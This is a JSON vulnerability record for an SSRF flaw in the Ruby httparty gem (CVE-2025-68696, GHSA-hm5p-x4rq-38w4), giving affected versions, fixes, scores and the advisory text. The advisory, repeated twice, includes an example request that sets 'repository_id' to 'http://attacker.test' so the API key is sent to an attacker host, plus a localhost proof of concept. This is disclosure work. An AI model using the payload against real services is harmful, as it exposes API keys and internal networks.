{"id":"CVE-2025-68696","aliases":["DEBIAN-CVE-2025-68696","EUVD-2025-204848","GHSA-hm5p-x4rq-38w4","UBUNTU-CVE-2025-68696"],"status":"published","title":"httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage","description":"httparty is an API tool. In versions 0.23.2 and prior, httparty is vulnerable to SSRF. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers. This issue has been patched via commit 0529bcd.","severity":{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00302,"percentile":0.23195,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-918"],"published":"2025-12-23T19:31:10Z","modified":"2026-10-28T02:31:12Z","fixes":[{"ecosystem":"RubyGems","package":"httparty","fixed_in":["0.24.0"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"ruby-httparty","fixed_in":["0.24.2-1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"RubyGems","package":"httparty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.23.2"},{"fixed":"0.24.0"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"ruby-httparty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.21.0-1","0.24.2-1","0.24.2-2","0.24.3-1"]},{"source":"osv","ecosystem":"Debian:13","package":"ruby-httparty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.21.0-1","0.24.2-1","0.24.2-2","0.24.3-1"]},{"source":"osv","ecosystem":"Debian:14","package":"ruby-httparty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.24.2-1"}]}],"versions":["0.21.0-1"]},{"source":"osv","ecosystem":"RubyGems","package":"httparty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.24.0"}]}],"versions":["0.1.0","0.1.1","0.1.2","0.1.3","0.1.5","0.1.6","0.1.7","0.1.8","0.10.0","0.10.1","0.10.2","0.11.0","0.12.0","0.13.0","0.13.1","0.13.2","0.13.3","0.13.4","0.13.5","0.13.6","0.13.7","0.14.0","0.15.0","0.15.1","0.15.2","0.15.3","0.15.4","0.15.5","0.15.6","0.15.7","0.16.0","0.16.1","0.16.2","0.16.3","0.16.4","0.17.0","0.17.1","0.17.3","0.18.0","0.18.1","0.19.0","0.19.1","0.2.0","0.2.1","0.2.10","0.2.2","0.2.3","0.2.4","0.2.5","0.2.6","0.2.7","0.2.8","0.2.9","0.20.0","0.21.0","0.22.0","0.23.0","0.23.1","0.23.2","0.3.0","0.3.1","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.5.0","0.5.1","0.5.2","0.6.0","0.6.1","0.7.0","0.7.2","0.7.3","0.7.4","0.7.6","0.7.7","0.7.8","0.8.0","0.8.1","0.8.2","0.8.3","0.9.0"]},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"ruby-httparty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.13.5-1"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"ruby-httparty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.13.7-1","0.13.7-2","0.15.6-1"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"ruby-httparty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.17.0-1"]},{"source":"osv","ecosystem":"Ubuntu:22.04:LTS","package":"ruby-httparty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.18.1-2","0.18.1-3"]},{"source":"osv","ecosystem":"Ubuntu:24.04:LTS","package":"ruby-httparty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.21.0-1"]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"ruby-httparty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.21.0-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"ruby-httparty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.24.2-2"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"ruby-httparty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["0.21.0-1","0.24.2-2"]}],"products":[{"vendor":"jnunemaker","product":"httparty"}],"references":[{"url":"https://github.com/jnunemaker/httparty/security/advisories/GHSA-hm5p-x4rq-38w4","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/jnunemaker/httparty/commit/0529bcd6309c9fd9bfdd50ae211843b10054c240","tags":["x_refsource_MISC","Patch","fix","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-68696","tags":["advisory"]},{"url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/httparty/CVE-2025-68696.yml","tags":["web"]},{"url":"https://github.com/advisories/GHSA-hm5p-x4rq-38w4"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/68xxx/CVE-2025-68696.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2025-68696","tags":["advisory"]},{"url":"https://github.com/jnunemaker/httparty","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2025-68696","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-68696","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2025-68696","title":"httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage","description":"httparty is an API tool. In versions 0.23.2 and prior, httparty is vulnerable to SSRF. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers. This issue has been patched via commit 0529bcd.","status":"published","published":"2025-12-23T22:59:04.201Z","modified":"2025-12-24T14:31:58.017Z","cvss":[{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","level":"high","assessor":"cna"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:32:36.079745Z"}],"euvd":[{"id":"EUVD-2025-204848","description":"httparty is an API tool. In versions 0.23.2 and prior, httparty is vulnerable to SSRF. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers. This issue has been patched via commit 0529bcd.","status":"published","published":"2025-12-23T22:59:04Z","modified":"2025-12-24T14:31:58Z","cvss":[{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"updated_at":"2026-11-02T19:49:01.342725Z"}],"ghsa":[{"id":"GHSA-hm5p-x4rq-38w4","title":"httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage","description":"## Summary\n\nThere may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.\n\n## Details\n\nWhen httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.\n\nConsider the following example of a web application:\n\n```rb\nrequire 'sinatra'\nrequire 'httparty'\n\nclass RepositoryClient\n  include HTTParty\n  base_uri 'http://exmaple.test/api/v1/repositories/'\n  headers 'X-API-KEY' =\u003e '1234567890'\nend\n\npost '/issue' do\n  request_body = JSON.parse(request.body.read)\n  RepositoryClient.get(request_body['repository_id']).body\n  # do something\n  json message: 'OK'\nend\n```\n\nNow, suppose an attacker sends a request like this:\n\n```\nPOST /issue HTTP/1.1\nHost: localhost:10000\nContent-Type: application/json\n\n{\n    \"repository_id\": \"http://attacker.test\",\n    \"title\": \"test\"\n}\n```\n\nIn this case, httparty sends the `X-API-KEY` not to `http://example.test` but instead to `http://attacker.test`.\n\nA similar problem was reported and fixed in the HTTP client library axios in the past:  \n\u003chttps://github.com/axios/axios/issues/6463\u003e\n\nAlso, Python's `urljoin` function has documented a warning about similar behavior:  \n\u003chttps://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin\u003e\n\n## PoC\n\nFollow these steps to reproduce the issue:\n\n1. Set up two simple HTTP servers.\n\n   ```bash\n   mkdir /tmp/server1 /tmp/server2\n   echo \"this is server1\" \u003e /tmp/server1/index.html \n   echo \"this is server2\" \u003e /tmp/server2/index.html\n   python -m http.server -d /tmp/server1 10001 \u0026\n   python -m http.server -d /tmp/server2 10002 \u0026\n   ```\n\n2. Create a script (for example, `main.rb`):\n\n   ```rb\n   require 'httparty'\n\n   class Client\n     include HTTParty\n     base_uri 'http://localhost:10001'\n   end\n\n   data = Client.get('http://localhost:10002').body\n   puts data\n   ```\n\n3. Run the script:\n\n   ```bash\n   $ ruby main.rb\n   this is server2\n   ```\n\nAlthough `base_uri` is set to `http://localhost:10001/`, httparty sends the request to `http://localhost:10002/`.\n\n\n## Impact\n\n- Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.  \n- SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.  \n- Affected users: Any software that uses `base_uri` and does not properly validate the path parameter may be affected by this issue.","status":"published","published":"2025-12-23T19:31:10Z","modified":"2026-01-11T14:56:57Z","cvss":[{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"},{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:39:16.156387Z"}],"nvd":[{"id":"CVE-2025-68696","description":"httparty is an API tool. In versions 0.23.2 and prior, httparty is vulnerable to SSRF. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers. This issue has been patched via commit 0529bcd.","status":"published","published":"2025-12-23T23:15:45.627Z","modified":"2026-10-19T22:10:00.13Z","cvss":[{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","level":"high","assessor":"primary"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T14:11:53.683969Z"}],"osv":[{"id":"CVE-2025-68696","title":"httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage","description":"httparty is an API tool. In versions 0.23.2 and prior, httparty is vulnerable to SSRF. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers. This issue has been patched via commit 0529bcd.","status":"published","published":"2025-12-23T22:59:04.201Z","modified":"2026-10-28T02:31:12.369333294Z","cvss":[{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:44:52.53036Z"},{"id":"DEBIAN-CVE-2025-68696","description":"httparty is an API tool. In versions 0.23.2 and prior, httparty is vulnerable to SSRF. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers. This issue has been patched via commit 0529bcd.","status":"published","published":"2025-12-23T23:15:45.627Z","modified":"2026-10-23T18:05:30.453117949Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","level":"high"}],"updated_at":"2026-11-02T15:45:48.025964Z"},{"id":"GHSA-hm5p-x4rq-38w4","title":"httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage","description":"## Summary\n\nThere may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.\n\n## Details\n\nWhen httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.\n\nConsider the following example of a web application:\n\n```rb\nrequire 'sinatra'\nrequire 'httparty'\n\nclass RepositoryClient\n  include HTTParty\n  base_uri 'http://exmaple.test/api/v1/repositories/'\n  headers 'X-API-KEY' =\u003e '1234567890'\nend\n\npost '/issue' do\n  request_body = JSON.parse(request.body.read)\n  RepositoryClient.get(request_body['repository_id']).body\n  # do something\n  json message: 'OK'\nend\n```\n\nNow, suppose an attacker sends a request like this:\n\n```\nPOST /issue HTTP/1.1\nHost: localhost:10000\nContent-Type: application/json\n\n{\n    \"repository_id\": \"http://attacker.test\",\n    \"title\": \"test\"\n}\n```\n\nIn this case, httparty sends the `X-API-KEY` not to `http://example.test` but instead to `http://attacker.test`.\n\nA similar problem was reported and fixed in the HTTP client library axios in the past:  \n\u003chttps://github.com/axios/axios/issues/6463\u003e\n\nAlso, Python's `urljoin` function has documented a warning about similar behavior:  \n\u003chttps://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin\u003e\n\n## PoC\n\nFollow these steps to reproduce the issue:\n\n1. Set up two simple HTTP servers.\n\n   ```bash\n   mkdir /tmp/server1 /tmp/server2\n   echo \"this is server1\" \u003e /tmp/server1/index.html \n   echo \"this is server2\" \u003e /tmp/server2/index.html\n   python -m http.server -d /tmp/server1 10001 \u0026\n   python -m http.server -d /tmp/server2 10002 \u0026\n   ```\n\n2. Create a script (for example, `main.rb`):\n\n   ```rb\n   require 'httparty'\n\n   class Client\n     include HTTParty\n     base_uri 'http://localhost:10001'\n   end\n\n   data = Client.get('http://localhost:10002').body\n   puts data\n   ```\n\n3. Run the script:\n\n   ```bash\n   $ ruby main.rb\n   this is server2\n   ```\n\nAlthough `base_uri` is set to `http://localhost:10001/`, httparty sends the request to `http://localhost:10002/`.\n\n\n## Impact\n\n- Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.  \n- SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.  \n- Affected users: Any software that uses `base_uri` and does not properly validate the path parameter may be affected by this issue.","status":"published","published":"2025-12-23T19:31:10Z","modified":"2026-09-10T03:50:31.90655791Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","level":"high"},{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"}],"cwes":["CWE-918"],"updated_at":"2026-11-02T15:46:49.28217Z"},{"id":"UBUNTU-CVE-2025-68696","description":"httparty is an API tool. In versions 0.23.2 and prior, httparty is vulnerable to SSRF. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers. This issue has been patched via commit 0529bcd.","status":"published","published":"2025-12-23T23:15:00Z","modified":"2026-10-17T12:57:39.38623809Z","cvss":[{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P","level":"high"},{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","level":"high"}],"updated_at":"2026-11-02T16:55:52.345622Z"}]}}